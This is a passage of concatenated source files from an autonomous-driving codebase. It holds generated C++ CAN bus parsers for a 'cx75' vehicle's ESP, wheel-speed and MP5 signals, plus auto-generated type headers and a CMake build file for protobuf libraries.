chassis->mutable_cx75()->mutable_esp_advanced_0x234_234()->set_esp_awbavailable(esp_awbavailable(bytes, length)); chassis->mutable_cx75()->mutable_esp_advanced_0x234_234()->set_esp_awbactive(esp_awbactive(bytes, length)); chassis->mutable_cx75()->mutable_esp_advanced_0x234_234()->set_esp_brkfrictqtotatwhl(esp_brkfrictqtotatwhl(bytes, length)); chassis->mutable_cx75()->mutable_esp_advanced_0x234_234()->set_esp_vlcerror(esp_vlcerror(bytes, length)); chassis->mutable_cx75()->mutable_esp_advanced_0x234_234()->set_esp_cdderror(esp_cdderror(bytes, length)); chassis->mutable_cx75()->mutable_esp_advanced_0x234_234()->set_rolling_counter_0x234(rolling_counter_0x234(bytes, length)); chassis->mutable_cx75()->mutable_esp_advanced_0x234_234()->set_checksum_0x234(checksum_0x234(bytes, length)); chassis->mutable_cx75()->mutable_esp_advanced_0x234_234()->set_esp_cddactive(esp_cddactive(bytes, length)); chassis->mutable_cx75()->mutable_esp_advanced_0x234_234()->set_esp_cdd_apactive(esp_cdd_apactive(bytes, length)); } // config detail: {'name': 'esp_vdcactive', 'enum': {0: 'ESP_VDCACTIVE_NOT_ACTIVE', 1: 'ESP_VDCACTIVE_ACTIVE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 0, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_advanced_0x234_234::Esp_vdcactiveType Espadvanced0x234234::esp_vdcactive(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(0, 1); Esp_advanced_0x234_234::Esp_vdcactiveType ret = static_cast<Esp_advanced_0x234_234::Esp_vdcactiveType>(x); return ret; } // config detail: {'name': 'esp_ebdactive', 'enum': {0: 'ESP_EBDACTIVE_NOT_ACTIVE', 1: 'ESP_EBDACTIVE_ACTIVE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 1, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_advanced_0x234_234::Esp_ebdactiveType Espadvanced0x234234::esp_ebdactive(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(1, 1); Esp_advanced_0x234_234::Esp_ebdactiveType ret = static_cast<Esp_advanced_0x234_234::Esp_ebdactiveType>(x); return ret; } // config detail: {'name': 'esp_ecdtempoff', 'enum': {0: 'ESP_ECDTEMPOFF_NOT_HIGH', 1: 'ESP_ECDTEMPOFF_TEMP_TOO_HIGH'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 14, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_advanced_0x234_234::Esp_ecdtempoffType Espadvanced0x234234::esp_ecdtempoff(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 1); int32_t x = t0.get_byte(6, 1); Esp_advanced_0x234_234::Esp_ecdtempoffType ret = static_cast<Esp_advanced_0x234_234::Esp_ecdtempoffType>(x); return ret; } // config detail: {'name': 'esp_nobrakeforce', 'enum': {0: 'ESP_NOBRAKEFORCE_EXIST_BRK_FORCE', 1: 'ESP_NOBRAKEFORCE_NO_BRK_FORCE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 15, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_advanced_0x234_234::Esp_nobrakeforceType Espadvanced0x234234::esp_nobrakeforce(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 1); int32_t x = t0.get_byte(7, 1); Esp_advanced_0x234_234::Esp_nobrakeforceType ret = static_cast<Esp_advanced_0x234_234::Esp_nobrakeforceType>(x); return ret; } // config detail: {'name': 'esp_brkfrictqtotatwhlvaild', 'enum': {0: 'ESP_BRKFRICTQTOTATWHLVAILD_VALID', 1: 'ESP_BRKFRICTQTOTATWHLVAILD_INVALID'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 16, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_advanced_0x234_234::Esp_brkfrictqtotatwhlvaildType Espadvanced0x234234::esp_brkfrictqtotatwhlvaild(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 2); int32_t x = t0.get_byte(0, 1); Esp_advanced_0x234_234::Esp_brkfrictqtotatwhlvaildType ret = static_cast<Esp_advanced_0x234_234::Esp_brkfrictqtotatwhlvaildType>(x); return ret; } // config detail: {'name': 'esp_aebdecavailable', 'enum': {0: 'ESP_AEBDECAVAILABLE_NOT_AVAILABLE', 1: 'ESP_AEBDECAVAILABLE_AVAILABLE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 17, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_advanced_0x234_234::Esp_aebdecavailableType Espadvanced0x234234::esp_aebdecavailable(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 2); int32_t x = t0.get_byte(1, 1); Esp_advanced_0x234_234::Esp_aebdecavailableType ret = static_cast<Esp_advanced_0x234_234::Esp_aebdecavailableType>(x); return ret; } // config detail: {'name': 'esp_aebdecactive', 'enum': {0: 'ESP_AEBDECACTIVE_NOT_ACTIVATED', 1: 'ESP_AEBDECACTIVE_ACTIVATED'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 18, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_advanced_0x234_234::Esp_aebdecactiveType Espadvanced0x234234::esp_aebdecactive(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 2); int32_t x = t0.get_byte(2, 1); Esp_advanced_0x234_234::Esp_aebdecactiveType ret = static_cast<Esp_advanced_0x234_234::Esp_aebdecactiveType>(x); return ret; } // config detail: {'name': 'esp_prefillavailable', 'enum': {0: 'ESP_PREFILLAVAILABLE_NOT_AVAILABLE', 1: 'ESP_PREFILLAVAILABLE_AVAILABLE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 19, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_advanced_0x234_234::Esp_prefillavailableType Espadvanced0x234234::esp_prefillavailable(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 2); int32_t x = t0.get_byte(3, 1); Esp_advanced_0x234_234::Esp_prefillavailableType ret = static_cast<Esp_advanced_0x234_234::Esp_prefillavailableType>(x); return ret; } // config detail: {'name': 'esp_prefillactive', 'enum': {0: 'ESP_PREFILLACTIVE_NOT_ACTIVATED', 1: 'ESP_PREFILLACTIVE_ACTIVATED'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 20, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_advanced_0x234_234::Esp_prefillactiveType Espadvanced0x234234::esp_prefillactive(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 2); int32_t x = t0.get_byte(4, 1); Esp_advanced_0x234_234::Esp_prefillactiveType ret = static_cast<Esp_advanced_0x234_234::Esp_prefillactiveType>(x); return ret; } // config detail: {'name': 'esp_abaavailable', 'enum': {0: 'ESP_ABAAVAILABLE_NOT_AVAILABLE', 1: 'ESP_ABAAVAILABLE_AVAILABLE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 21, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_advanced_0x234_234::Esp_abaavailableType Espadvanced0x234234::esp_abaavailable(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 2); int32_t x = t0.get_byte(5, 1); Esp_advanced_0x234_234::Esp_abaavailableType ret = static_cast<Esp_advanced_0x234_234::Esp_abaavailableType>(x); return ret; } // config detail: {'name': 'esp_abaactive', 'enum': {0: 'ESP_ABAACTIVE_NOT_ACTIVATED', 1: 'ESP_ABAACTIVE_ACTIVATED'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 22, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_advanced_0x234_234::Esp_abaactiveType Espadvanced0x234234::esp_abaactive(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 2); int32_t x = t0.get_byte(6, 1); Esp_advanced_0x234_234::Esp_abaactiveType ret = static_cast<Esp_advanced_0x234_234::Esp_abaactiveType>(x); return ret; } // config detail: {'name': 'esp_cddavailable', 'enum': {0: 'ESP_CDDAVAILABLE_NOT_AVAILABLE', 1: 'ESP_CDDAVAILABLE_AVAILABLE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 23, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_advanced_0x234_234::Esp_cddavailableType Espadvanced0x234234::esp_cddavailable(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 2); int32_t x = t0.get_byte(7, 1); Esp_advanced_0x234_234::Esp_cddavailableType ret = static_cast<Esp_advanced_0x234_234::Esp_cddavailableType>(x); return ret; } // config detail: {'name': 'esp_dtcactive', 'enum': {0: 'ESP_DTCACTIVE_NOT_ACTIVATED', 1: 'ESP_DTCACTIVE_ACTIVATED'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 24, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_advanced_0x234_234::Esp_dtcactiveType Espadvanced0x234234::esp_dtcactive(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 3); int32_t x = t0.get_byte(0, 1); Esp_advanced_0x234_234::Esp_dtcactiveType ret = static_cast<Esp_advanced_0x234_234::Esp_dtcactiveType>(x); return ret; } // config detail: {'name': 'esp_awbavailable', 'enum': {0: 'ESP_AWBAVAILABLE_NOT_AVAILABLE', 1: 'ESP_AWBAVAILABLE_AVAILABLE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 25, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_advanced_0x234_234::Esp_awbavailableType Espadvanced0x234234::esp_awbavailable(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 3); int32_t x = t0.get_byte(1, 1); Esp_advanced_0x234_234::Esp_awbavailableType ret = static_cast<Esp_advanced_0x234_234::Esp_awbavailableType>(x); return ret; } // config detail: {'name': 'esp_awbactive', 'enum': {0: 'ESP_AWBACTIVE_NOT_ACTIVATED', 1: 'ESP_AWBACTIVE_ACTIVATED'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 26, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_advanced_0x234_234::Esp_awbactiveType Espadvanced0x234234::esp_awbactive(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 3); int32_t x = t0.get_byte(2, 1); Esp_advanced_0x234_234::Esp_awbactiveType ret = static_cast<Esp_advanced_0x234_234::Esp_awbactiveType>(x); return ret; } // config detail: {'name': 'esp_brkfrictqtotatwhl', 'offset': 0.0, 'precision': 1.0, 'len': 14, 'is_signed_var': False, 'physical_range': '[0|10230]', 'bit': 37, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Espadvanced0x234234::esp_brkfrictqtotatwhl(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 4); int32_t x = t0.get_byte(0, 6); Byte t1(bytes + 5); int32_t t = t1.get_byte(0, 8); x <<= 8; x |= t; int ret = x; return ret; } // config detail: {'name': 'esp_vlcerror', 'enum': {0: 'ESP_VLCERROR_NOT_ERROR', 1: 'ESP_VLCERROR_ERROR'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 38, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_advanced_0x234_234::Esp_vlcerrorType Espadvanced0x234234::esp_vlcerror(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 4); int32_t x = t0.get_byte(6, 1); Esp_advanced_0x234_234::Esp_vlcerrorType ret = static_cast<Esp_advanced_0x234_234::Esp_vlcerrorType>(x); return ret; } // config detail: {'name': 'esp_cdderror', 'enum': {0: 'ESP_CDDERROR_NOT_ERROR', 1: 'ESP_CDDERROR_ERROR'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 39, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_advanced_0x234_234::Esp_cdderrorType Espadvanced0x234234::esp_cdderror(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 4); int32_t x = t0.get_byte(7, 1); Esp_advanced_0x234_234::Esp_cdderrorType ret = static_cast<Esp_advanced_0x234_234::Esp_cdderrorType>(x); return ret; } // config detail: {'name': 'rolling_counter_0x234', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Espadvanced0x234234::rolling_counter_0x234(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(0, 4); int ret = x; return ret; } // config detail: {'name': 'checksum_0x234', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Espadvanced0x234234::checksum_0x234(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 7); int32_t x = t0.get_byte(0, 8); int ret = x; return ret; } // config detail: {'name': 'esp_cddactive', 'enum': {0: 'ESP_CDDACTIVE_NOT_ACTIVATED', 1: 'ESP_CDDACTIVE_ACTIVATED'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 8, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_advanced_0x234_234::Esp_cddactiveType Espadvanced0x234234::esp_cddactive(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 1); int32_t x = t0.get_byte(0, 1); Esp_advanced_0x234_234::Esp_cddactiveType ret = static_cast<Esp_advanced_0x234_234::Esp_cddactiveType>(x); return ret; } // config detail: {'name': 'esp_cdd_apactive', 'enum': {0: 'ESP_CDD_APACTIVE_NOT_ACTIVATED', 1: 'ESP_CDD_APACTIVE_ACTIVATED'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 9, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_advanced_0x234_234::Esp_cdd_apactiveType Espadvanced0x234234::esp_cdd_apactive(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 1); int32_t x = t0.get_byte(1, 1); Esp_advanced_0x234_234::Esp_cdd_apactiveType ret = static_cast<Esp_advanced_0x234_234::Esp_cdd_apactiveType>(x); return ret; } } // namespace cx75 } // namespace canbus } // namespace jmc_auto <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_ins_gpsflag_h #define impl_type_ins_gpsflag_h #include "impl_type_uint8.h" enum class INS_GpsFlag : UInt8 { NONE = 0, FIXEDPOS = 1, FIXEDHEIGHT = 2, DOPPLER_VELOCITY = 8, SINGLE = 16, PSRDIFF = 17, SBAS = 18, L1_FLOAT = 32, IONOFREE_FLOAT = 33, NARROW_FLOAT = 34, L1_INT = 48, WIDE_INT = 49, NARROW_INT = 50 }; #endif // impl_type_ins_gpsflag_h <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(error_code_proto error_code.pb.cc error_code.pb.h) target_link_libraries(error_code_proto protobuf) add_library(header_proto header.pb.cc header.pb.h) target_link_libraries(header_proto error_code_proto protobuf) add_library(vehicle_signal_proto vehicle_signal.pb.cc vehicle_signal.pb.h) target_link_libraries(vehicle_signal_proto protobuf) add_library(common_proto geometry.pb.cc geometry.pb.h) target_link_libraries(common_proto error_code_proto header_proto protobuf) add_library(pnc_point_proto pnc_point.pb.cc pnc_point.pb.h) target_link_libraries(pnc_point_proto protobuf) add_library(drive_event_proto drive_event.pb.cc drive_event.pb.h) target_link_libraries(drive_event_proto header_proto pose_proto protobuf) add_library(drive_state_proto drive_state.pb.cc drive_state.pb.h) target_link_libraries(drive_state_proto protobuf) add_library(record_proto record.pb.cc record.pb.h) target_link_libraries(record_proto protobuf) add_library(proto_desc_proto proto_desc.pb.cc proto_desc.pb.h) target_link_libraries(proto_desc_proto protobuf) <file_sep>/****************************************************************************** * Copyright 2017 The jmc_auto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #ifndef MODULES_CANBUS_VEHICLE_cx75_PROTOCOL_GW_EMS_TQ_0X101_101_H_ #define MODULES_CANBUS_VEHICLE_cx75_PROTOCOL_GW_EMS_TQ_0X101_101_H_ #include "modules/drivers/canbus/can_comm/protocol_data.h" #include "modules/canbus/proto/chassis_detail.pb.h" namespace jmc_auto { namespace canbus { namespace cx75 { class Gwemstq0x101101 : public ::jmc_auto::drivers::canbus::ProtocolData< ::jmc_auto::canbus::ChassisDetail> { public: static const int32_t ID; Gwemstq0x101101(); void Parse(const std::uint8_t* bytes, int32_t length, ChassisDetail* chassis) const override; private: // config detail: {'name': 'EMS_IndicatedRealEngTorq', 'enum': {2047: 'EMS_INDICATEDREALENGTORQ_INVALID'}, 'precision': 0.5, 'len': 12, 'is_signed_var': False, 'offset': -1000.0, 'physical_range': '[-1000|1000]', 'bit': 11, 'type': 'enum', 'order': 'motorola', 'physical_unit': 'Nm'} double ems_indicatedrealengtorq(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'EMS_EngSpeed', 'enum': {32767: 'EMS_ENGSPEED_INVALID'}, 'precision': 0.5, 'len': 15, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|16383]', 'bit': 31, 'type': 'enum', 'order': 'motorola', 'physical_unit': 'rpm'} double ems_engspeed(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'EMS_EngSpeedError', 'enum': {0: 'EMS_ENGSPEEDERROR_NOERROR', 1: 'EMS_ENGSPEEDERROR_ERROR'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 32, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_ems_tq_0x101_101::Ems_engspeederrorType ems_engspeederror(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'EMS_RngModTorqCrSLeadMin', 'enum': {2047: 'EMS_RNGMODTORQCRSLEADMIN_INVALID'}, 'precision': 0.5, 'len': 12, 'is_signed_var': False, 'offset': -1000.0, 'physical_range': '[-1000|1000]', 'bit': 47, 'type': 'enum', 'order': 'motorola', 'physical_unit': 'Nm'} double ems_rngmodtorqcrsleadmin(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'DCM_EMS_RollingCounter_0x101', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int dcm_ems_rollingcounter_0x101(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'DCM_EMS_Checksum_0x101', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int dcm_ems_checksum_0x101(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'EMS_RngModTorqCrSLeadMax', 'enum': {2047: 'EMS_RNGMODTORQCRSLEADMAX_INVALID'}, 'precision': 0.5, 'len': 12, 'is_signed_var': False, 'offset': -1000.0, 'physical_range': '[-1000|1000]', 'bit': 7, 'type': 'enum', 'order': 'motorola', 'physical_unit': 'Nm'} double ems_rngmodtorqcrsleadmax(const std::uint8_t* bytes, const int32_t length) const; }; } // namespace cx75 } // namespace canbus } // namespace jmc_auto #endif // MODULES_CANBUS_VEHICL_cx75_PROTOCOL_GW_EMS_TQ_0X101_101_H_ <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #include <cstdint> #ifndef base_type_std_uint64_t_h #define base_type_std_uint64_t_h typedef std::uint64_t std_uint64_t; #endif // base_type_std_uint64_t_h <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_singlemessage_h #define impl_type_singlemessage_h #include "impl_type_invalid.h" typedef invalid SingleMessage; #endif // impl_type_singlemessage_h <file_sep>/****************************************************************************** * Copyright 2017 The jmc_auto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #include "modules/canbus/vehicle/cx75/protocol/esp_rpmf_0x213_213.h" #include "glog/logging.h" #include "modules/drivers/canbus/common/byte.h" #include "modules/drivers/canbus/common/canbus_consts.h" namespace jmc_auto { namespace canbus { namespace cx75 { using ::jmc_auto::drivers::canbus::Byte; Esprpmf0x213213::Esprpmf0x213213() {} const int32_t Esprpmf0x213213::ID = 0x213; void Esprpmf0x213213::Parse(const std::uint8_t* bytes, int32_t length, ChassisDetail* chassis) const { chassis->mutable_cx75()->mutable_esp_rpmf_0x213_213()->set_esp_wheelrpmfr(esp_wheelrpmfr(bytes, length)); chassis->mutable_cx75()->mutable_esp_rpmf_0x213_213()->set_esp_wheelrpmfrvalid(esp_wheelrpmfrvalid(bytes, length)); chassis->mutable_cx75()->mutable_esp_rpmf_0x213_213()->set_rolling_counter_0x213(rolling_counter_0x213(bytes, length)); chassis->mutable_cx75()->mutable_esp_rpmf_0x213_213()->set_checksum_0x213(checksum_0x213(bytes, length)); chassis->mutable_cx75()->mutable_esp_rpmf_0x213_213()->set_esp_wheelrpmfl(esp_wheelrpmfl(bytes, length)); chassis->mutable_cx75()->mutable_esp_rpmf_0x213_213()->set_esp_wheelrpmflvalid(esp_wheelrpmflvalid(bytes, length)); } // config detail: {'name': 'esp_wheelrpmfr', 'offset': 0.0, 'precision': 0.0625, 'len': 15, 'is_signed_var': False, 'physical_range': '[0|2047.875]', 'bit': 23, 'type': 'double', 'order': 'motorola', 'physical_unit': 'rpm'} double Esprpmf0x213213::esp_wheelrpmfr(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 2); int32_t x = t0.get_byte(0, 8); Byte t1(bytes + 3); int32_t t = t1.get_byte(1, 7); x <<= 7; x |= t; double ret = x * 0.062500; return ret; } // config detail: {'name': 'esp_wheelrpmfrvalid', 'enum': {0: 'ESP_WHEELRPMFRVALID_VALID', 1: 'ESP_WHEELRPMFRVALID_INVALID'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 24, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_rpmf_0x213_213::Esp_wheelrpmfrvalidType Esprpmf0x213213::esp_wheelrpmfrvalid(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 3); int32_t x = t0.get_byte(0, 1); Esp_rpmf_0x213_213::Esp_wheelrpmfrvalidType ret = static_cast<Esp_rpmf_0x213_213::Esp_wheelrpmfrvalidType>(x); return ret; } // config detail: {'name': 'rolling_counter_0x213', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Esprpmf0x213213::rolling_counter_0x213(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(0, 4); int ret = x; return ret; } // config detail: {'name': 'checksum_0x213', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Esprpmf0x213213::checksum_0x213(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 7); int32_t x = t0.get_byte(0, 8); int ret = x; return ret; } // config detail: {'name': 'esp_wheelrpmfl', 'offset': 0.0, 'precision': 0.0625, 'len': 15, 'is_signed_var': False, 'physical_range': '[0|2047.875]', 'bit': 7, 'type': 'double', 'order': 'motorola', 'physical_unit': 'rpm'} double Esprpmf0x213213::esp_wheelrpmfl(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(0, 8); Byte t1(bytes + 1); int32_t t = t1.get_byte(1, 7); x <<= 7; x |= t; double ret = x * 0.062500; return ret; } // config detail: {'name': 'esp_wheelrpmflvalid', 'enum': {0: 'ESP_WHEELRPMFLVALID_VALID', 1: 'ESP_WHEELRPMFLVALID_INVALID'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 8, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_rpmf_0x213_213::Esp_wheelrpmflvalidType Esprpmf0x213213::esp_wheelrpmflvalid(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 1); int32_t x = t0.get_byte(0, 1); Esp_rpmf_0x213_213::Esp_wheelrpmflvalidType ret = static_cast<Esp_rpmf_0x213_213::Esp_wheelrpmflvalidType>(x); return ret; } } // namespace cx75 } // namespace canbus } // namespace jmc_auto <file_sep>/****************************************************************************** * Copyright 2017 The jmc_auto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #include "modules/canbus/vehicle/cx75/protocol/gw_mp5_0x530_530.h" #include "glog/logging.h" #include "modules/drivers/canbus/common/byte.h" #include "modules/drivers/canbus/common/canbus_consts.h" namespace jmc_auto { namespace canbus { namespace cx75 { using ::jmc_auto::drivers::canbus::Byte; Gwmp50x530530::Gwmp50x530530() {} const int32_t Gwmp50x530530::ID = 0x530; void Gwmp50x530530::Parse(const std::uint8_t* bytes, int32_t length, ChassisDetail* chassis) const { chassis->mutable_cx75()->mutable_gw_mp5_0x530_530()->set_mp5_fcw_sensitive(mp5_fcw_sensitive(bytes, length)); chassis->mutable_cx75()->mutable_gw_mp5_0x530_530()->set_mp5_icmenushift_button(mp5_icmenushift_button(bytes, length)); chassis->mutable_cx75()->mutable_gw_mp5_0x530_530()->set_mp5_aeb_on_off(mp5_aeb_on_off(bytes, length)); chassis->mutable_cx75()->mutable_gw_mp5_0x530_530()->set_mp5_fcw_on_off(mp5_fcw_on_off(bytes, length)); chassis->mutable_cx75()->mutable_gw_mp5_0x530_530()->set_mp5_bsdswitchsts(mp5_bsdswitchsts(bytes, length)); chassis->mutable_cx75()->mutable_gw_mp5_0x530_530()->set_mp5_afs_swtichsts(mp5_afs_swtichsts(bytes, length)); chassis->mutable_cx75()->mutable_gw_mp5_0x530_530()->set_mp5_laneassittypereq(mp5_laneassittypereq(bytes, length)); chassis->mutable_cx75()->mutable_gw_mp5_0x530_530()->set_mp5_icmenuactive_button(mp5_icmenuactive_button(bytes, length)); chassis->mutable_cx75()->mutable_gw_mp5_0x530_530()->set_mp5_alarmstatus(mp5_alarmstatus(bytes, length)); chassis->mutable_cx75()->mutable_gw_mp5_0x530_530()->set_mp5_alarmornot(mp5_alarmornot(bytes, length)); chassis->mutable_cx75()->mutable_gw_mp5_0x530_530()->set_mp5_paakreset_req(mp5_paakreset_req(bytes, length)); chassis->mutable_cx75()->mutable_gw_mp5_0x530_530()->set_mp5_cta_active(mp5_cta_active(bytes, length)); chassis->mutable_cx75()->mutable_gw_mp5_0x530_530()->set_mp5_bsdlca_active(mp5_bsdlca_active(bytes, length)); chassis->mutable_cx75()->mutable_gw_mp5_0x530_530()->set_mp5_tsrmenureq(mp5_tsrmenureq(bytes, length)); chassis->mutable_cx75()->mutable_gw_mp5_0x530_530()->set_mp5_ldwwarning(mp5_ldwwarning(bytes, length)); chassis->mutable_cx75()->mutable_gw_mp5_0x530_530()->set_mp5_ldwsensitvity(mp5_ldwsensitvity(bytes, length)); chassis->mutable_cx75()->mutable_gw_mp5_0x530_530()->set_mp5_avm_angle(mp5_avm_angle(bytes, length)); chassis->mutable_cx75()->mutable_gw_mp5_0x530_530()->set_mp5_avm_rotationchange(mp5_avm_rotationchange(bytes, length)); 